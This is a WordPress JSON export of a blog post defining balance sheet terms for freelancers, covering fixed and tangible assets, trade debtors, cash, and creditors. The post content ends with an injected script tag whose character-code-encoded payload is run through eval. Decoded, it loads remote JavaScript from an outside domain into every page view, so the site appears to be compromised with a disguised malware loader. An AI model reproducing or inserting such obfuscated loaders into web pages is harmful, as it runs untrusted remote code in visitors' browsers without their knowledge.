{"id":6277,"date":"2023-06-09T10:56:24","date_gmt":"2023-06-09T10:56:24","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/what-is-a-balance-sheet-definition-and-examples\/"},"modified":"2023-06-09T10:56:24","modified_gmt":"2023-06-09T10:56:24","slug":"what-is-a-balance-sheet-definition-and-examples","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/what-is-a-balance-sheet-definition-and-examples\/","title":{"rendered":"What is a balance sheet? Definition and examples"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/what-is-a-balance-sheet-definition-and-examples\/#Fixed_Tangible_Assets\" title=\"Fixed &amp; Tangible Assets\">Fixed &amp; Tangible Assets<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/what-is-a-balance-sheet-definition-and-examples\/#Trade_or_Other_Debtors\" title=\"Trade or Other Debtors\">Trade or Other Debtors<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/what-is-a-balance-sheet-definition-and-examples\/#Cash_at_hand_and_in_bank\" title=\"Cash at hand and in bank\">Cash at hand and in bank<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/what-is-a-balance-sheet-definition-and-examples\/#Creditors_falling_within_after_one_year\" title=\"Creditors falling within \/ after one year\">Creditors falling within \/ after one year<\/a><\/li><\/ul><\/nav><\/div>\n<p dir=&quot;ltr&quot;><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/03\/5fnmwej4taa-1024x684.jpg&quot; alt=&quot;Balance Sheet Definition&quot; width=&quot;750&quot; height=&quot;501&quot; class=&quot;aligncenter size-large wp-image-4758&quot; \/><\/p>\n<p dir=&quot;ltr&quot;>The Balance Sheet is defined as a document designed to illustrate the state of your business finances at a specific moment in time, and demonstrate its financial stability to Bank Managers and the like.<\/p>\n<p dir=&quot;ltr&quot;>A Balance Sheet will outline your current liabilities alongside your assets to provide a clear indication of the current value of your business, and as such can prove a useful tool, not just in terms of attracting investment but also in shaping your broader <a href=\"&quot;https:\/\/benrmatthews.com\/7-tips-for-building-an-effective-sales-strategy-as-a-freelancer\/&quot;\" class=\"broken_link\">freelancing strategy<\/a>.<\/p>\n<p dir=&quot;ltr&quot;>As a Limited Company freelancer, you\u2019ll be required to construct a balance sheet as part of your Annual Accounts \u2013 although a decent accountant or some financial software will usually do this for you.<\/p>\n<p dir=&quot;ltr&quot;>If you\u2019re a Sole Trader you\u2019ll be spared the prospect of this, but from time to time it can still be worthwhile putting one together to help you determine how solvent your business is.<\/p>\n<p dir=&quot;ltr&quot;>The problem\u00a0 comes with actually understanding the things listed on your Balance Sheet.<\/p>\n<p dir=&quot;ltr&quot;>Here are a few of the terms you might encounter.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Fixed_Tangible_Assets\"><\/span><strong>Fixed &amp; Tangible Assets<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p dir=&quot;ltr&quot;>Assets come in two forms in accounting parlance; a fixed asset something that is just that \u2013 fixed -and isn\u2019t going anywhere any time soon, like property and vehicles.<\/p>\n<p dir=&quot;ltr&quot;>Meanwhile <a href=\"&quot;https:\/\/www.investopedia.com\/terms\/t\/tangibleasset.asp&quot;\" class=\"broken_link\">Tangible Assets<\/a> are physical things that will pass in and out of the business relatively freely \u2013 like stock or inventory.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Trade_or_Other_Debtors\"><\/span><strong>Trade or Other Debtors<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p dir=&quot;ltr&quot;>Debtors are those folk who owe you money and in the case of Trade Debtors, this will be any outstanding invoices.<\/p>\n<p dir=&quot;ltr&quot;>Other Debtors refers to the cash your business is owed that isn\u2019t through sales (e.g. money you\u2019ve loaned, or a refund you\u2019re waiting to receive).<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Cash_at_hand_and_in_bank\"><\/span><strong>Cash at hand and in bank<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p dir=&quot;ltr&quot;>Cash at hand means physical cash your business has in its possession \u2013 the notes and coins.<\/p>\n<p dir=&quot;ltr&quot;>The second, \u2018cash in bank\u2019 refers to the collective balances in whatever business related bank accounts you have.<\/p>\n<p dir=&quot;ltr&quot;>Together they\u2019ll give you the total amount of available cash you have.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Creditors_falling_within_after_one_year\"><\/span><strong>Creditors falling within \/ after one year<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p dir=&quot;ltr&quot;>Creditors are people who you owe money to.<\/p>\n<p dir=&quot;ltr&quot;>Any payments to creditors must be recorded in the financial year you make the payment, so they are split into short term creditors (your suppliers, for instance) and those you expect to repay more than a year in the future (a loan from your bank, for example).<\/p>\n<p dir=&quot;ltr&quot;>All this information will need to be split into different financial years and segmented by date, based upon when the transaction occurred \u2013 bear that in mind when looking at your Balance Sheet.<\/p>\n<p dir=&quot;ltr&quot;>Through this examination of the value of your assets and your current liabilities, you\u2019ll be able to determine the net value of your assets and that is what a balance sheet provides \u2013 \u00a0a statement of your financial position at a specific time, illustrating how much cash you currently have.<\/p>\n<p dir=&quot;ltr&quot;>You can also take a look at our freelance accounting glossary for more explanations of business terms.<\/p>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Balance Sheet is defined as a document designed to illustrate the state of your business finances at a specific moment in time, and demonstrate its financial stability to Bank Managers and the like. A Balance Sheet will outline your current liabilities alongside your assets to provide a clear indication of the current value of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6277","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6277"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6277"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6277\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6277"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6277"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6277"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}